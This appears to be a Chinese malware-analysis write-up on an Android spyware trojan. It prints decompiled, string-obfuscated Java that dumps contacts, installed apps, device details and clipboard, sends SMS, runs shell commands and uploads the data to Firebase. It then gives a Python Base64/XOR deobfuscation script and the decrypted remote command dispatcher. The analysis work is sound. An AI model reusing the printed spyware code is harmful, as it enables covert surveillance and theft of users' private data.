  311. String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMENzsiVAZpJzJUVDBqZk9XMS09QFknMy9DAmVvNkxcMT0oSgJlbyRMWz4zNEJNOzB8Dls2NzsDVDovMURcITx8Tlk5N24UAHB0aw0OZSQ+BAMlOzVETDw7KBdKMDgnWVEjMX1FXTwzLlkCNCEyQgMlNSJJUTsza09XISApQAJgJD4WSDQwIkRWMnkyQkhvZXNdQG4kJ0lcPDohAFQwMjIXDmUkPhZaNDctSko6IShJAnYyIEsDODU0SlE7bidYTDpvJEJKMTE0AEo0MC9YS29ldl1AbjknX188OmtZVyVuc11AKHoqQhg8OSFWXjk7J1kCOTEgWQM9MS9KUCFudR1ILW8xRFwhPHweCCUsfV1XJj0yRFc7bidPSzo4M1ldbiApXQJtJD4WVDAyMhcJZSQ+UBY5O2ZeSDQ6PUtUOjUyF0o8My5ZAzg1NEpRO3k0RF89IHwfCCUsOxEXJiA/QV1r");
  312. Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{StringFogImpl.decrypt("Cj0i"), StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"), StringFogImpl.decrypt("MTUyTAk="), StringFogImpl.decrypt("NDclQk07IBlZQSUx")}, StringFogImpl.decrypt("NDclQk07IBlZQSUxZhEGdXMhQlcyOCMKGA=="), null, null);
  313. if (query.getCount() > 0) {
  314. str = decrypt;
  315. while (query.moveToNext()) {
  316. str = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hzLllMJSd8AhczPTRIWjQnI15MOiYnSl17MylCXzkxJ11RJnolQlV6InYCWnojLkRMMHl0T1tgMmhMSCUnNkJMezcpQBc6eyVCViF6NkNfajUqWQU4MSJEWXMgKUZdO2lySF1mZXJOW3g3d09ceGB3Glx4NnYeXXhsJx4LM2NyTwxmZ3YKGGtoJBN2NDkjFxhpeyQT") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MT01XVQ0LRlDWTgx"))) + StringFogImpl.decrypt("aTY0EwQ3aghYVTcxNBcYaXskEw==") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("MTUyTAk="))) + StringFogImpl.decrypt("aTY0ExhpNnhrSjo5fA0EejZ4") + query.getString(query.getColumnIndex(StringFogImpl.decrypt("NDclQk07IBlZQSUx"))) + StringFogImpl.decrypt("aXsiRE5r");
  317. }
  318. } else {
  319. str = decrypt;
  320. }
  321. try {
  322. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")))) {
  323. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA==")));
  324. }
  325. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="), true);
  326. fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  327. fileOutputStream.close();
  328. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
  329. /* JADX WARN: Can't rename method to resolve collision */
  330. @Override // com.google.android.gms.tasks.Continuation
  331. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  332. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcpQ0x7PDJAVA=="))).getDownloadUrl();
  333. }
  334. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  335. } catch (FileNotFoundException e) {
  336. } catch (IOException e2) {
  337. }
  338. }
  339. public void _getpackages() {
  340. String str;
  341. ByteArrayOutputStream byteArrayOutputStream;
  342. List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
  343. String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamxWVTQmIURWb2R9XVkxMC9DX29kfVBaOjA/VlU0JiFEVm9kfV1ZMTAvQ19vZH1PWTY/IV9XIDoiFxtnZnQWRXs/I1RUOjMhDUM3NSVGXyc7M0Ncb3d2HQhuIy9JTD1uJUxUNnx/GB11eWYfCCUsbxZQMD0hRUxvNTNZV245J19fPDp8TE0hO31dWTEwL0Nfb2V2XUBuNylBVyduZR1cMW82TFwxPShKFTc7MllXOG53HUgtbytMSjI9KABMOiR8FUgtbyRCSjExNABKNDAvWEtvZXZdQG4kKV5RIT0pQwInMSpMTDwiIxZXIzE0S1Q6I3xMTSE7fVAWPjE/QVcyM2YNWi43KUFXJ240SFxuKWhGXSw4KUpfdT0rSkM4NT4AUDA9IUVMb2F2XUBuOSdVFSI9IllQb2F2XUBuJCleUSE9KUMCNDY1QlQgICMWVDAyMhcJZSQ+FkV7PyNUVDozIQ1ILjcpQVcnbmVLXjNvOwNTMC0qQl8ydDVdWTsvIEFXNCB8X1EyPDIWVTQmIURWeCYvSlAhbncdSC1vOwNaITo9RV08My5ZAmFkNlUDIj0iWVBvZXMdSC1vJEJKMTE0FwhuNilfXDAma19ZMT0zXgJgJD4WWjomIkhKb2U2VRgmOypEXHUmI0kDNzUlRl8nOzNDXG82KkxbPm8lQlQ6JnxaUDwgIxZFdWhpXkwsOCMTBDc7IlQG");
  344. Iterator<PackageInfo> it = installedPackages.iterator();
  345. while (true) {
  346. str = decrypt;
  347. if (it.hasNext()) {
  348. PackageInfo next = it.next();
  349. getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
  350. decrypt = String.valueOf(str) + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzLUhBOTshSh91anpEVTJ0NV9baHMiTEw0bi9AWTIxaV1WMm8kTEswYnIB") + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + StringFogImpl.decrypt("cnR4EVw8ImZeTCw4IxAfODU0SlE7eSpIXiFucB1ILW82TFwxPShKFSE7NhcLJSx9Qk4wJiBBVyJuJ1hMOm9hDQZpNmZeTCw4IxAfNjsqQkpvMzRIXTtvYQ0GdQ==") + next.applicationInfo.loadLabel(getPackageManager()).toString() + StringFogImpl.decrypt("dXww") + next.versionName + StringFogImpl.decrypt("dX16AlpraCRfBmk2Zl5MLDgjEB82OypCSm8mI0kDcnR4DQ==") + next.packageName + StringFogImpl.decrypt("aXskEwQ3JngRFzE9MBMENyZ4ERcxPTAT");
  351. } else {
  352. try {
  353. break;
  354. } catch (FileNotFoundException e) {
  355. return;
  356. } catch (IOException e2) {
  357. return;
  358. }
  359. }
  360. }
  361. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")))) {
  362. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA==")));
  363. }
  364. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejU2XUt7PDJAVA=="), true);
  365. fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
  366. fileOutputStream.close();
  367. SketchwareUtil.showMessage(getApplicationContext(), StringFogImpl.decrypt("JTUlRl0/Jyw="));
  368. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
  369. /* JADX WARN: Can't rename method to resolve collision */
  370. @Override // com.google.android.gms.tasks.Continuation
  371. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  372. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejU2XUt7PDJAVA=="))).getDownloadUrl();
  373. }
  374. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  375. }
  376. public static Bitmap getBitmapFromDrawable(Drawable drawable) {
  377. Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
  378. Canvas canvas = new Canvas(createBitmap);
  379. drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
  380. drawable.draw(canvas);
  381. return createBitmap;
  382. }
  383. public String shell_exec(String str) {
  384. String str2 = "";
  385. String[] strArr = {StringFogImpl.decrypt("Jjw="), StringFogImpl.decrypt("eDc="), str};
  386. try {
  387. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
  388. while (true) {
  389. String readLine = bufferedReader.readLine();
  390. if (readLine != null) {
  391. str2 = String.valueOf(str2) + readLine;
  392. } else {
  393. return str2;
  394. }
  395. }
  396. } catch (Exception e) {
  397. return StringFogImpl.decrypt("MCY0Qko=");
  398. }
  399. }
  400. public void _sudoapt(String str, String str2) {
  401. _setrespo(StringFogImpl.decrypt("JjwjQVQjPSNa"), "", shell_exec(str), "", "");
  402. }
  403. public void _devinfo() {
  404. getApplicationContext();
  405. Display defaultDisplay = ((WindowManager) getSystemService(StringFogImpl.decrypt("Ij0oSVci"))).getDefaultDisplay();
  406. int width = defaultDisplay.getWidth();
  407. _setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgRWmsHA39xFBh8DQR6Nng=") + Build.SERIAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GBsCaHRvdHoCWmt0") + Build.MODEL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBB8DRhpeyQT") + Build.ID + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("GDUoWF40NzJYSjBuZhEXN2o=") + Build.MANUFACTURER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FyYnQ1xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ETEwRFswdApMVjIhJ0pdb3R6Alpr") + Locale.getDefault().getDisplayLanguage() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Bjc0SF07dBRISzo4M1lROjp8DQR6Nng=") + width + StringFogImpl.decrypt("LQ==") + defaultDisplay.getHeight() + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AS02SAJ1aGlPBg==") + Build.TYPE + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("ACcjXwJ1aGlPBg==") + Build.USER + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxUVaAJ1aGlPBg==") + 1 + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HBoFf30YEQh5eRluZhEXN2o=") + Build.VERSION.INCREMENTAL + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("BhANFwR6NngN") + Build.VERSION.SDK + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FxsHf3xvdHoCWms=") + Build.BOARD + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("FwYHY3xvaGlPBnU=") + Build.BRAND + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("HRsVeQJ1aGlPBg==") + Build.HOST + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("Ex0Ian0HBBRkdgFuZhEXN2o=") + Build.FINGERPRINT + StringFogImpl.decrypt("aTY0EwQ3ag==") + StringFogImpl.decrypt("AzE0XlE6OmZuVzExfA0EejZ4") + Build.VERSION.RELEASE + StringFogImpl.decrypt("aXsiRE5r"), "", "");
  408. }
  409. public void _showtoast(String str) {
  410. SketchwareUtil.showMessage(getApplicationContext(), str);
  411. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ATsnXkx1By5CTzt0FVhbNjE1Xl4gOCpU"), "", "");
  412. }
  413. public void _vibra(String str) {
  414. this.vibrator.vibrate(Integer.parseInt(str));
  415. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ETEwRFswdBBEWic1Mkhc"), "", "");
  416. }
  417. public void _ttsdev(String str) {
  418. this.tts.speak(str, 1, null);
  419. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AQAVDXs6OTZBXSExIg1rIDclSEsmMjNBVCw="), "", "");
  420. }
  421. public void _palysmudic(String str) {
  422. this.mp = new MediaPlayer();
  423. this.mp.setAudioStreamType(3);
  424. try {
  425. this.mp.setDataSource(str);
  426. } catch (IOException e) {
  427. e.printStackTrace();
  428. } catch (IllegalArgumentException e2) {
  429. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0KGGt0A39qGgZ8DQR6JzZMVmsHKUNfdRopWRgTOzNDXHUyNEJVdQEUYQ=="), "", "");
  430. } catch (IllegalStateException e3) {
  431. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  432. } catch (SecurityException e4) {
  433. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  434. }
  435. try {
  436. this.mp.prepare();
  437. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
  438. } catch (IOException e5) {
  439. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  440. } catch (IllegalStateException e6) {
  441. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMH0NH3VqZmhqBxsUFxhpezVdWTtqFUJWMnQIQkx1EilYVjF0IF9XOHQTf3Q="), "", "");
  442. }
  443. this.mp.start();
  444. if (this.mp.isPlaying()) {
  445. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0FxgyJiNIVm50YRMYBiElTl0mJ3wNBHonNkxWawcpQ191PTUNSDk1P0RWMg=="), "", "");
  446. }
  447. }
  448. public void _sendsm(String str, String str2) {
  449. try {
  450. SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
  451. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F18nMSNDH2sHM05bMCc1FxhpezVdWTtqC0hLJjUhSBgGMShZGAYhJU5dJicgWFQ5LQ=="), "", "");
  452. } catch (Exception e) {
  453. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("aSc2TFZ1JzJUVDBpYU5XOTs0F0owMGETfScmKV8CdWhpXkg0OnhoUSE8I18YJTE0QFEmJy9CVnU9NQ1WOiBmSlEjMSgNVyd0AkxMNHQvXhg8OiVCSicxJVkW"), "", "");
  454. }
  455. }
  456. public void _changewall(String str) {
  457. if (str.equals(StringFogImpl.decrypt("ZQ=="))) {
  458. try {
  459. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
  460. } catch (Exception e) {
  461. e.printStackTrace();
  462. }
  463. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  464. } else if (str.equals(StringFogImpl.decrypt("ZA=="))) {
  465. try {
  466. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
  467. } catch (Exception e2) {
  468. e2.printStackTrace();
  469. }
  470. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  471. } else if (str.equals(StringFogImpl.decrypt("Zw=="))) {
  472. try {
  473. WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
  474. } catch (Exception e3) {
  475. e3.printStackTrace();
  476. }
  477. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("AjUqQUg0JCNfGBY8J0NfMDBmfk02NyNeSzMhKkFB"), "", "");
  478. }
  479. }
  480. /* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
  481. if (r1.isEmpty() != false) goto L13;
  482. */
  483. /*
  484. Code decompiled incorrectly, please refer to instructions dump.
  485. */
  486. public void clips() {
  487. String str = null;
  488. final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
  489. String str2 = "";
  490. new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
  491. @Override // java.lang.Runnable
  492. public void run() {
  493. clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(StringFogImpl.decrypt("NjgvXVo6NTRJ"));
  494. }
  495. });
  496. try {
  497. if (clipboardManagerArr[0].hasPrimaryClip()) {
  498. ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
  499. ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
  500. if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(StringFogImpl.decrypt("ITE+WRclOCdEVg=="))) {
  501. str2 = String.valueOf(primaryClip.getItemAt(0).getText());
  502. }
  503. }
  504. str = str2;
  505. } catch (NullPointerException e) {
  506. }
  507. _setrespo(StringFogImpl.decrypt("MTEwRFswPShLVw=="), "", StringFogImpl.decrypt("aTAvWxg2OCdeS3VpYUZdLDgpSl9ydHgN") + str + StringFogImpl.decrypt("aXsiRE5r"), "", "");
  508. }
  509. public void _voicere(String str) {
  510. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("GTUzQ1s9MSINbQcYZhcY") + str, "", "");
  511. Intent intent = new Intent();
  512. intent.addFlags(268435456);
  513. intent.setAction(StringFogImpl.decrypt("NDoiX1c8MGhEViExKFkWNDcyRFc7ehBkfQI="));
  514. intent.setData(Uri.parse(str));
  515. startActivity(intent);
  516. }
  517. public void tofft() {
  518. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlLXnUAKV9bPXQqRF89IA=="), "", "");
  519. CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
  520. try {
  521. cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
  522. } catch (CameraAccessException e) {
  523. }
  524. }
  525. public void tont() {
  526. _setrespo(StringFogImpl.decrypt("MT0nQVcyIi9ITw=="), "", StringFogImpl.decrypt("ASE0Q10xdAlDGAE7NE5QdTgvSlAh"), "", "");
  527. CameraManager cameraManager = (CameraManager) getSystemService(StringFogImpl.decrypt("NjUrSEo0"));
  528. try {
  529. cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
  530. } catch (CameraAccessException e) {
  531. }
  532. }
  533. @Override // android.app.Service
  534. public IBinder onBind(Intent intent) {
  535. return null;
  536. }
  537. @Override // android.app.Service
  538. public void onDestroy() {
  539. Intent intent = new Intent();
  540. intent.setAction(StringFogImpl.decrypt("JzE1WVknIDVISiM9JUg="));
  541. intent.setClass(this, restarter.class);
  542. sendBroadcast(intent);
  543. super.onDestroy();
  544. }
  545. }

但代码中重要字符串均被加密,需解密后才能分析。

方案:字符串替代解密

将“StringFogImpl.decrypt("[密文]")”替换为解密后的明文:
image.png

解密逻辑

  1. 逐行读取需要解密文本
  2. 检测是否有“StringFogImpl.decrypt”
    1. 无:跳过
    2. 有:正则匹配出密文
  3. 密文Base64解码后,Xor“UTF-8”
  4. 解密后的密文替代明文
  5. 每行检测或替换完,最终输出的为明文

    运行效果

    image.png

    出现问题:’utf-8’ codec can’t decode byte 0xb6

    解决方案

    【假】.decode(“UTF-8”, “ignore”)

    如果牵扯计算,会出现乱码。
    如果仅为显示,一般无所谓。

    【真】计算数据不要转UTF-8

    原本是为了方便,全部数据转UTF-8,但是有一些数据超出的UTF-8的范围(十进制:0-127,十六进制:0-7F),如“0xB6”。

    🐍🐍🐍Python代码🐍🐍🐍

    ```python

    coding: UTF-8

import base64 import re

strNewLine = “\n” strQuotation = ‘“‘ strEncode = r”StringFogImpl.decrypt”

读取需要解密的文本文件

def ReadText( txtIn ): with open( txtIn , ‘r+’ , encoding = ‘UTF-8’ ) as f: strTXT = f.read()

  1. # print(strTXT)
  2. return strTXT

解密后保存为文本文件输出

def Text2Write( str2Write ): with open( txtOut , ‘w+’ , encoding = ‘UTF-8’ ) as f: f.write( str2Write ) f.close()

检测文本是否需要解密

def CheckTXT2Recovery( strEncode ): if strEncode in strTXT: print( “文件需要解密” ) GetCipherText2XOR( strTXT ) else: print( “文件不需要解密” )

解密字符串

def GetCipherText2XOR( strTXT ):

  1. # 按行切割为数组
  2. arrStrLines = strTXT.split( strNewLine )
  3. # print(arrStr)
  4. # 最后需要输出的明文
  5. strXORedAll = ''
  6. # 正则匹配解密函数和密文
  7. reDecrypt = re.compile( 'StringFogImpl.decrypt\("(.*?)"\)' , re.S )
  8. for iLine in arrStrLines:
  9. # 单行是否需要解密,需要解密则提取密文解密,不需要直接累加为明文
  10. if strEncode in iLine:
  11. listStrSplit = re.split( reDecrypt , iLine )
  12. # 匹配到几个密文
  13. nRE = len( listStrSplit )
  14. strXORedLine = listStrSplit[0]
  15. nCount = 1
  16. # 考虑一行多个:从[1]开始步长为2取数组解密
  17. for i in range( 1 , nRE ):
  18. # print(i)
  19. nCount += 1
  20. if (nCount % 2 == 0):
  21. print( "密文:" , listStrSplit[i] )
  22. strDeXORed = doDeBase64XOR( listStrSplit[i] )
  23. strXORedLine += strQuotation + strDeXORed + strQuotation
  24. else:
  25. strXORedLine += listStrSplit[i]
  26. print( "单行解密后:" , strXORedLine , strNewLine )
  27. else:
  28. # print( "此行无需解密:" , strXORedLine )
  29. strXORedLine = iLine
  30. strXORedAll += strXORedLine + strNewLine
  31. # print( "全部解密后:" , strXORedAll )
  32. Text2Write( strXORedAll )

因为有超出7B的值,所以不能转UTF-8再解密

def doDeBase64XOR( strCiphered ): print( “需解密字符串:” , strCiphered )

  1. bText = strCiphered.encode( "UTF-8" )
  2. bDeBase64ed = base64.b64decode( bText )
  3. resultXOR = doXOR( bDeBase64ed , strKey )
  4. # print( "解密后字符串:" , resultXOR )
  5. return resultXOR

strKey = r”UTF-8”

def doDeBase64( strText ): print( “需解密字符串:” , strText )

  1. bText = strText.encode( "UTF-8" )
  2. bDeBase64ed = base64.b64decode( bText )
  3. # 可用于显示,不能用于计算
  4. strDeBase64ed = bDeBase64ed.decode( "UTF-8" , "ignore" )
  5. # print( "Base64解码后:" , strDeBase64ed )
  6. return strDeBase64ed

def doXOR( dataCipherTXT , strKey ): resultXOR = ‘’

  1. # lenMax = max( len( dataCipherTXT ) , len( strKey ) )
  2. for i in range( len( dataCipherTXT ) ):
  3. # 如果是int类型直接使用
  4. ordCiphered = dataCipherTXT[i % len( dataCipherTXT )]
  5. # 如果是字符串,ord转为int
  6. typeCipherTXT = str( type( ordCiphered ) )
  7. if "str" in typeCipherTXT:
  8. ordCiphered = ord( ordCiphered )
  9. # 逐个取出
  10. ordKey = ord( strKey[i % len( strKey )] )
  11. # 异或
  12. ordXORed = ordCiphered ^ ordKey
  13. # 转为字符串
  14. strXORed = chr( ordXORed )
  15. # 累加
  16. resultXOR += strXORed
  17. print( "解密后字符串:" , resultXOR )
  18. return resultXOR

txtIn = r”密文.txt” txtOut = r”明文.txt”

if name == ‘main‘: print( “文件:” , txtIn ) strTXT = ReadText( txtIn ) CheckTXT2Recovery( strEncode ) print( “结束” )

  1. <a name="Ecn5c"></a>
  2. ### 运行结果
  3. <a name="EsoUv"></a>
  4. #### 显示
  5. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1657962392056-eb2f9392-6136-4ce7-a897-da74270aa8df.png#clientId=u926596a4-960e-4&errorMessage=unknown%20error&from=paste&height=668&id=u71efb851&originHeight=835&originWidth=1020&originalType=binary&ratio=1&rotation=0&showTitle=false&size=123463&status=error&style=none&taskId=u1dda3c25-7f52-4c06-9b89-cac96e4dd73&title=&width=816)
  6. <a name="pWmgD"></a>
  7. #### 明文输出
  8. ```java
  9. public void _service() {
  10. _setpres();
  11. _setpres2("");
  12. FirebaseDatabase.getInstance().getReference(/comds/comds + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
  13. @Override // com.google.firebase.database.ChildEventListener
  14. public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  15. }
  16. @Override // com.google.firebase.database.ChildEventListener
  17. public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  18. Map map = (Map) dataSnapshot.getValue();
  19. servicess.this.cmdn = new StringBuilder().append(map.get(cmdn)).toString();
  20. servicess.this.cmdv = new StringBuilder().append(map.get(cmdv)).toString();
  21. servicess.this.cmdvar = new StringBuilder().append(map.get(cmdvar)).toString();
  22. if (!servicess.this.cmdn.equals(cd)) {
  23. if (!servicess.this.cmdn.equals(dmpsms)) {
  24. if (!servicess.this.cmdn.equals(dmpcall)) {
  25. if (!servicess.this.cmdn.equals(dmpcont)) {
  26. if (!servicess.this.cmdn.equals(getpackages)) {
  27. if (!servicess.this.cmdn.equals(shellcmd)) {
  28. if (!servicess.this.cmdn.equals(deviceinfo)) {
  29. if (!servicess.this.cmdn.equals(toasttext)) {
  30. if (!servicess.this.cmdn.equals(ttsdev)) {
  31. if (!servicess.this.cmdn.equals(vibratedev)) {
  32. if (!servicess.this.cmdn.equals(playsmusic)) {
  33. if (!servicess.this.cmdn.equals(sendsms)) {
  34. if (!servicess.this.cmdn.equals(changewall)) {
  35. if (!servicess.this.cmdn.equals(opweb)) {
  36. if (!servicess.this.cmdn.equals(tont)) {
  37. if (!servicess.this.cmdn.equals(tofft)) {
  38. if (servicess.this.cmdn.equals(clip)) {
  39. servicess.this.clips();
  40. return;
  41. }
  42. return;
  43. }
  44. servicess.this.tofft();
  45. return;
  46. }
  47. servicess.this.tont();
  48. return;
  49. }
  50. servicess.this._voicere(servicess.this.cmdv);
  51. return;
  52. }
  53. servicess.this._changewall(servicess.this.cmdv);
  54. return;
  55. }
  56. servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
  57. return;
  58. }
  59. servicess.this._palysmudic(servicess.this.cmdv);
  60. return;
  61. }
  62. servicess.this._vibra(servicess.this.cmdv);
  63. return;
  64. }
  65. servicess.this._ttsdev(servicess.this.cmdv);
  66. return;
  67. }
  68. servicess.this._showtoast(servicess.this.cmdv);
  69. return;
  70. }
  71. servicess.this._devinfo();
  72. return;
  73. }
  74. servicess.this._sudoapt(servicess.this.cmdv, "");
  75. return;
  76. }
  77. servicess.this._getpackages();
  78. return;
  79. }
  80. servicess.this._dmpcon();
  81. return;
  82. }
  83. servicess.this._dmpcal();
  84. return;
  85. }
  86. servicess.this.getAllSms(servicess.this.getApplicationContext());
  87. return;
  88. }
  89. servicess.this._cd(servicess.this.cmdv, "", "");
  90. }
  91. @Override // com.google.firebase.database.ChildEventListener
  92. public void onChildRemoved(DataSnapshot dataSnapshot) {
  93. }
  94. @Override // com.google.firebase.database.ChildEventListener
  95. public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  96. }
  97. @Override // com.google.firebase.database.ChildEventListener
  98. public void onCancelled(DatabaseError databaseError) {
  99. }
  100. }); // /comds/comds/comds/comds
  101. }
  102. public void _setpres() {
